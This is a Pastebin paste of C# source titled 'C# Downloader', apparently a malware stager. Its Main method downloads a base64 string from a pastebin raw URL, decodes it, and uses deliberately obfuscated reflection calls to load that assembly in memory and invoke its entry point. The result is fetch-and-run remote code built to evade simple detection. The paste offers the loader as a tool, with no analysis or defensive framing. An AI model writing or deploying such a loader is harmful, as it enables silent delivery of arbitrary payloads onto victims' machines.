lastika_12

C# Downloader

Aug 8th, 2016 (edited)
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. using System;
  2. using System.Net;
  3. using System.Reflection;
  4. using Microsoft.VisualBasic;
  5. public class Wolf
  6. {
  7. public void hack(byte[] a)
  8. {
  9. ((MethodInfo)((PropertyInfo)Interaction.CallByName(Type.GetType("System.Reflection.Assembly") ?? throw new InvalidOperationException(),
  10. "GetProperty", CallType.Get, "EntryPoint")).GetValue((Assembly)((MethodInfo)Interaction
  11. .CallByName(Type.GetType("System.Reflection.Assembly") ?? throw new InvalidOperationException(), "GetMethod", CallType.Method, "Load",
  12. new[] { typeof(byte[]) })).Invoke(null, new object[] { a }), null)).Invoke(null, null);
  13. }
  14. }
  15. public class Wolfhack
  16. {
  17. public static void Main()
  18. {
  19.  
  20. WebClient client = new WebClient();
  21. string reply = client.DownloadString("https://pastebin.com/raw/B6h7W8it");
  22. Type.GetType("Wolf")?.GetMethod("hack")?.Invoke(Type.GetType("Wolf")
  23. ?.GetConstructor(Type.EmptyTypes)?.Invoke(new object[] { }),
  24. new[] { Type.GetType("System.Convert")?.GetMethod("FromBase64String", new[] { typeof(string) })?.Invoke(null, new object[] { reply }) });
  25. }
  26. }
Tags: downloader
Add Comment
Please, Sign In to add comment